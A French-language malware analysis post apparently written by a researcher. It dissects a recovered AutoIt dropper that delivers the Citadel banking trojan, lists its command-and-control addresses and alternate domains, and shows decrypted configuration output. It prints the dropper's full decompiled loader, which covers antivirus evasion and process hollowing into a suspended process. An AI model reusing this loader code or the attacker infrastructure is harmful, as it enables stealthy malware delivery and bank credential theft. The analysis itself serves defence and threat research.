En grattant un peu sur la période du mois de janvier 2016, j'ai pu remettre
la main sur des fichiers ayant été effacés. L'un d'eux a retenu mon attention.
→ "%tmp%\1\
lol.bin"
...
0510h: 6A 62 39 6A 72 72 66 74 78 37 37 73 37 75 77 6E jb9jrrftx77s7uwn
0520h: 6A 6E 69 6C 79 7A 6E 33 72 35 66 79 67 34 73 62 jnilyzn3r5fyg4sb
0530h: 39 31 30 37 36 A3 48 4B BE 98 6C 4A A9 99 4C 53 91076£HK¾˜lJ©™LS
0540h: 0A 86 D6 48 7D 41 55 33 21 45 41 30 36 66 64 D3 .†ÖH}AU3!EA06fdÓ
...
Le fichier contient un bloc de 0x530 + un numérique + l'entête d'un AutoIT.
C'est une compresssion classique en LZSS avec un stream de type EA06.
Une fois le mot de passe trouvé, le script est lisible et déprotégé.
Il a été créé le 20 janvier 2016 à 13:31:58 depuis le profile de
la session Windows C:\Users\
larbii\AppData\Local\Temp\...
Je ne vais pas détailler le script, je vais directement aux binaires.
Code : Tout sélectionner
$DATA="0x4D5A..."
DllCall("kernel32.dll", "int", "DeleteFileA", "str", @AutoItExe & ":Zone.Identifier")
If ProcessExists("avgui.exe") Then
If StringInStr(@ScriptFullPath, "lol2.bin") = 0 Then
$A = StringMid(FileRead(FileOpen(@AutoItExe, 0)), StringInStr(FileRead(FileOpen(@AutoItExe, 0)), "£HK¾˜lJ©™LS") + StringLen("£HK¾˜lJ©™LS"))
$B = StringReplace(FileRead(FileOpen(@AutoItExe, 0)), "£HK¾˜lJ©™LS" & $A, "")
FileDelete(@TempDir & "\up.exe")
$LLD = FileOpen(@TempDir & "\up.exe", 18)
FileWrite($LLD, $B)
FileClose($LLD)
FileDelete(@TempDir & "\r.txt")
FileWrite(@TempDir & "\r.txt", @AutoItExe)
FileCopy(@TempDir & "\lol.bin", @TempDir & "\lol2.bin", 1)
ShellExecute(@TempDir & "\up.exe", "/AutoIt3ExecuteScript " & @TempDir & "\lol2.bin", @ScriptDir)
Exit
EndIf
EndIf
Local $GETPID
$ROT = @AutoItExe
If Not FileExists($ROT) Then
$ROT = @SystemDir & "\svchost.exe"
EndIf
If ProcessExists("avgui.exe") Then
If $ROT = @AutoItExe Then $ROT = FileRead(@TempDir & "\r.txt")
EndIf
$GETPID = Y()
FileDelete(@TempDir & "\pid.txt")
FileWrite(@TempDir & "\pid.txt", $GETPID)
Func Y()
$BBINARYIMAGE = $DATA
Local $BBINARY = Binary($BBINARYIMAGE)
Local $TBINARY = DllStructCreate("byte[" & BinaryLen($BBINARY) & "]")
DllStructSetData($TBINARY, 1, $BBINARY)
Local $PPOINTER = DllStructGetPtr($TBINARY)
Local $TSTARTUPINFO = DllStructCreate("dword cbSize;" & "ptr Reserved;" & "ptr Desktop;" & "ptr Title;" & "dword X;" & "dword Y;" & "dword XSize;" & "dword YSize;" & "dword XCountChars;" & "dword YCountChars;" & "dword FillAttribute;" & "dword Flags;" & "ushort ShowWindow;" & "ushort Reserved2;" & "ptr Reserved2;" & "ptr hStdInput;" & "ptr hStdOutput;" & "ptr hStdError")
Local $TPROCESS_INFORMATION = DllStructCreate("ptr Process;" & "ptr Thread;" & "dword ProcessId;" & "dword ThreadId")
Local $ACALL = DllCall("kernel32.dll", "int", "CreateProcessW", "wstr", $ROT, "ptr", 0, "ptr", 0, "ptr", 0, "int", 0, "dword", 4, "ptr", 0, "ptr", 0, "ptr", DllStructGetPtr($TSTARTUPINFO), "ptr", DllStructGetPtr($TPROCESS_INFORMATION))
If @error Or Not $ACALL[0] Then
Return SetError(1, 0, 0)
EndIf
Local $HPROCESS = DllStructGetData($TPROCESS_INFORMATION, "Process")
Local $HTHREAD = DllStructGetData($TPROCESS_INFORMATION, "Thread")
Local $TCONTEXT = DllStructCreate("dword ContextFlags;" & "dword Dr0;" & "dword Dr1;" & "dword Dr2;" & "dword Dr3;" & "dword Dr6;" & "dword Dr7;" & "dword ControlWord;" & "dword StatusWord;" & "dword TagWord;" & "dword ErrorOffset;" & "dword ErrorSelector;" & "dword DataOffset;" & "dword DataSelector;" & "byte RegisterArea[80];" & "dword Cr0NpxState;" & "dword SegGs;" & "dword SegFs;" & "dword SegEs;" & "dword SegDs;" & "dword Edi;" & "dword Esi;" & "dword Ebx;" & "dword Edx;" & "dword Ecx;" & "dword Eax;" & "dword Ebp;" & "dword Eip;" & "dword SegCs;" & "dword EFlags;" & "dword Esp;" & "dword SegS")
DllStructSetData($TCONTEXT, "ContextFlags", 65538)
$ACALL = DllCall("kernel32.dll", "int", "GetThreadContext", "ptr", $HTHREAD, "ptr", DllStructGetPtr($TCONTEXT))
If @error Or Not $ACALL[0] Then
DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
Return SetError(2, 0, 0)
EndIf
Local $TIMAGE_DOS_HEADER = DllStructCreate("char Magic[2];" & "ushort BytesOnLastPage;" & "ushort Pages;" & "ushort Relocations;" & "ushort SizeofHeader;" & "ushort MinimumExtra;" & "ushort MaximumExtra;" & "ushort SS;" & "ushort SP;" & "ushort Checksum;" & "ushort IP;" & "ushort CS;" & "ushort Relocation;" & "ushort Overlay;" & "char Reserved[8];" & "ushort OEMIdentifier;" & "ushort OEMInformation;" & "char Reserved2[20];" & "dword AddressOfNewExeHeader", $PPOINTER)
$PPOINTER += DllStructGetData($TIMAGE_DOS_HEADER, "AddressOfNewExeHeader")
Local $SMAGIC = DllStructGetData($TIMAGE_DOS_HEADER, "Magic")
If Not ($SMAGIC == "MZ") Then
DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
Return SetError(3, 0, 0)
EndIf
Local $TIMAGE_NT_SIGNATURE = DllStructCreate("dword Signature", $PPOINTER)
$PPOINTER += 4
If DllStructGetData($TIMAGE_NT_SIGNATURE, "Signature") <> 17744 Then
DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
Return SetError(4, 0, 0)
EndIf
Local $TIMAGE_FILE_HEADER = DllStructCreate("ushort Machine;" & "ushort NumberOfSections;" & "dword TimeDateStamp;" & "dword PointerToSymbolTable;" & "dword NumberOfSymbols;" & "ushort SizeOfOptionalHeader;" & "ushort Characteristics", $PPOINTER)
Local $INUMBEROFSECTIONS = DllStructGetData($TIMAGE_FILE_HEADER, "NumberOfSections")
$PPOINTER += 20
Local $TIMAGE_OPTIONAL_HEADER = DllStructCreate("ushort Magic;" & "ubyte MajorLinkerVersion;" & "ubyte MinorLinkerVersion;" & "dword SizeOfCode;" & "dword SizeOfInitializedData;" & "dword SizeOfUninitializedData;" & "dword AddressOfEntryPoint;" & "dword BaseOfCode;" & "dword BaseOfData;" & "dword ImageBase;" & "dword SectionAlignment;" & "dword FileAlignment;" & "ushort MajorOperatingSystemVersion;" & "ushort MinorOperatingSystemVersion;" & "ushort MajorImageVersion;" & "ushort MinorImageVersion;" & "ushort MajorSubsystemVersion;" & "ushort MinorSubsystemVersion;" & "dword Win32VersionValue;" & "dword SizeOfImage;" & "dword SizeOfHeaders;" & "dword CheckSum;" & "ushort Subsystem;" & "ushort DllCharacteristics;" & "dword SizeOfStackReserve;" & "dword SizeOfStackCommit;" & "dword SizeOfHeapReserve;" & "dword SizeOfHeapCommit;" & "dword LoaderFlags;" & "dword NumberOfRvaAndSizes", $PPOINTER)
$PPOINTER += 96
Local $IMAGIC = DllStructGetData($TIMAGE_OPTIONAL_HEADER, "Magic")
If $IMAGIC <> 267 Then
DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
Return SetError(5, 0, 0)
EndIf
Local $IENTRYPOINTNEW = DllStructGetData($TIMAGE_OPTIONAL_HEADER, "AddressOfEntryPoint")
$PPOINTER += 128
Local $POPTIONALHEADERIMAGEBASENEW = DllStructGetData($TIMAGE_OPTIONAL_HEADER, "ImageBase")
Local $IOPTIONALHEADERSIZEOFIMAGENEW = DllStructGetData($TIMAGE_OPTIONAL_HEADER, "SizeOfImage")
$ACALL = DllCall("ntdll.dll", "int", "NtUnmapViewOfSection", "ptr", $HPROCESS, "ptr", $POPTIONALHEADERIMAGEBASENEW)
If @error Or $ACALL[0] Then
DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
Return SetError(6, 0, 0)
EndIf
$ACALL = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", "ptr", $HPROCESS, "ptr", $POPTIONALHEADERIMAGEBASENEW, "dword", $IOPTIONALHEADERSIZEOFIMAGENEW, "dword", 12288, "dword", 64)
If @error Or Not $ACALL[0] Then
DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
Return SetError(7, 0, 0)
EndIf
Local $PREMOTECODE = $ACALL[0]
Local $PHEADERS_NEW = DllStructGetPtr($TIMAGE_DOS_HEADER)
Local $IOPTIONALHEADERSIZEOFHEADERSNEW = DllStructGetData($TIMAGE_OPTIONAL_HEADER, "SizeOfHeaders")
$ACALL = DllCall("kernel32.dll", "int", "WriteProcessMemory", "ptr", $HPROCESS, "ptr", $PREMOTECODE, "ptr", $PHEADERS_NEW, "dword", $IOPTIONALHEADERSIZEOFHEADERSNEW, "dword*", 0)
If @error Or Not $ACALL[0] Then
DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
Return SetError(8, 0, 0)
EndIf
Local $TIMAGE_SECTION_HEADER
Local $ISIZEOFRAWDATA, $PPOINTERTORAWDATA
Local $IVIRTUALADDRESS
For $I = 1 To $INUMBEROFSECTIONS
$TIMAGE_SECTION_HEADER = DllStructCreate("char Name[8];" & "dword UnionOfVirtualSizeAndPhysicalAddress;" & "dword VirtualAddress;" & "dword SizeOfRawData;" & "dword PointerToRawData;" & "dword PointerToRelocations;" & "dword PointerToLinenumbers;" & "ushort NumberOfRelocations;" & "ushort NumberOfLinenumbers;" & "dword Characteristics", $PPOINTER)
$ISIZEOFRAWDATA = DllStructGetData($TIMAGE_SECTION_HEADER, "SizeOfRawData")
$PPOINTERTORAWDATA = DllStructGetPtr($TIMAGE_DOS_HEADER) + DllStructGetData($TIMAGE_SECTION_HEADER, "PointerToRawData")
$IVIRTUALADDRESS = DllStructGetData($TIMAGE_SECTION_HEADER, "VirtualAddress")
If $ISIZEOFRAWDATA Then
$ACALL = DllCall("kernel32.dll", "int", "WriteProcessMemory", "ptr", $HPROCESS, "ptr", $PREMOTECODE + $IVIRTUALADDRESS, "ptr", $PPOINTERTORAWDATA, "dword", $ISIZEOFRAWDATA, "dword*", 0)
If @error Or Not $ACALL[0] Then
DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
Return SetError(9, $I, 0)
EndIf
EndIf
$PPOINTER += 40
Next
DllStructSetData($TCONTEXT, "Eax", $PREMOTECODE + $IENTRYPOINTNEW)
$ACALL = DllCall("kernel32.dll", "int", "SetThreadContext", "ptr", $HTHREAD, "ptr", DllStructGetPtr($TCONTEXT))
If @error Or Not $ACALL[0] Then
DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
Return SetError(10, 0, 0)
EndIf
$ACALL = DllCall("kernel32.dll", "int", "ResumeThread", "ptr", $HTHREAD)
If @error Or $ACALL[0] = -1 Then
DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
Return SetError(11, 0, 0)
EndIf
Return DllStructGetData($TPROCESS_INFORMATION, "ProcessId")
EndFunc
Func X()
Exit
EndFunc
$DATA="0x4D5A..."
Les deux $DATA sont des PE 32-bits :
)) Le premier, écrit en Visual Basic, est packé UPX 3.91 (
1698b71032b55a294748963917d54880e0919f89 )
CompanyName: Bill
ProductName: Project1
FileVersion: 1.00
InternalName: vbstub
OriginalFilename: vbstub.exe
)) Le deuxième est un Citadel, un cheval de troie personnalisable initialement développé pour pirater des identifiants et des services bancaires en ligne (
6c77e0ebb6f8144642a4f26127c27048f7669e06 )
Le C2 du Citadel est situé chez eUKhost sur
109.203.100.122:80/TCP
Celui-ci se met à jour en téléchargeant une configuration :
→ http
://109.203.100.122/fifo/config.dll (
Wed, 20 Jan 2016 13:12:59 GMT )
L'URL du Control Panel a été ajoutée au
CCT de Xylitol, comme il était en ligne, j'en ai profité pour bavarder un peu avec lui. Il m'a conseillé de tester la nouvelle release du décodeur qui fût présenté lors du
codeblue.jp de 2013. Cette version envoi du rêve, arigatô
You Nakatsuru & merci
Xylitol pour l'info ^_^
citadel_decryptor.py -v -d config.dll 410A2831A748A4DC6EAC36504F1E0644.EXE
[*] start to decrypt config.dll
[*] get base config & several params
[*] found base config at RVA:0x00002780, RA:0x00001b80
[*] found login key: C1F20D2340B519056A7D89B7DF4B0FFF
[*] use RC4 key at (base config + 0x0000030a)
[*] found following xor key for AES plus:
[252, 164, 193, 50, 70, 245, 200, 171, 208, 197, 207, 220, 115, 80, 171, 66]
[*] found RC4 salt: 0xD6490B8F
[*] try to unpack
[*] decrypt data using following key:
[67, 138, 196, 17, 83, 130, 186, 60, 99, 2, 54, 44, 145, 166, 60, 148, 159, 51, 30, 37, 63, 185, 223
, 214, 184, 111, 183, 185, 165, 153, 41, 106, 124, 228, 76, 193, 84, 127, 23, 240, 147, 219, 75, 94,
69, 7, 172, 184, 154, 120, 8, 227, 148, 131, 128, 235, 103, 21, 59, 179, 155, 34, 120, 18, 175, 88,
64, 165, 105, 47, 18, 100, 1, 19, 67, 237, 18, 179, 110, 7, 122, 24, 207, 198, 140, 132, 72, 164, 2
49, 173, 107, 8, 135, 108, 153, 128, 203, 96, 209, 41, 107, 3, 188, 125, 40, 231, 226, 176, 139, 77,
217, 243, 28, 109, 250, 170, 188, 229, 143, 234, 23, 205, 159, 196, 46, 202, 135, 10, 221, 172, 205
, 52, 250, 76, 211, 93, 198, 255, 192, 241, 137, 57, 151, 183, 193, 119, 158, 136, 158, 218, 87, 50,
161, 222, 89, 171, 13, 253, 86, 35, 87, 199, 245, 158, 186, 187, 90, 192, 25, 45, 195, 213, 244, 23
6, 44, 144, 240, 152, 47, 112, 38, 89, 162, 57, 60, 12, 36, 247, 210, 81, 212, 45, 254, 167, 216, 61
, 17, 230, 119, 245, 86, 151, 165, 6, 71, 129, 5, 123, 252, 160, 74, 226, 216, 95, 241, 116, 32, 237
, 98, 82, 246, 53, 184, 208, 118, 113, 2, 103, 61, 128, 66, 43, 70, 116, 222, 32, 227, 56, 95, 102,
144, 14, 125, 29, 117, 209, 70, 22, 248, 9, 82, 194, 226, 223, 62, 77]
[*] try to AES+ decryption
[*] use following AES key:
[48, 229, 61, 171, 193, 158, 150, 212, 126, 236, 68, 15, 31, 25, 89, 187]
[*] parse decrypted data... OK
[*] decompress decrypted data
[*] wrote decrypted data[/color][/size]
La configuration est peu personnalisée, assez basic.
=> Liste des 637 sites redirigés vers Google.
=> Configuration du C2 actif
http
://109.203.100.122/fifo/file.php|file=soft.exe
http
://109.203.100.122/fifo/gate.php
http
://109.203.100.122/fifo/file.php
=> Liste des C&C alternatifs
http
://s186598balooba125.com/
djamel/file.php|file=config.bin
http
://baladzabiviongaalkdce.com/xxx/file.php|file=config.bin
http
://tenknafabalojsgdhincv.com/xxx/file.php|file=config.bin
On retrouve le djamel de l'ATSV2, de Citadel, derrière JobCrypter.
Ces DNS ne sont pas enregistrés, adeptes du sinkholing, hello .o/
to be continued...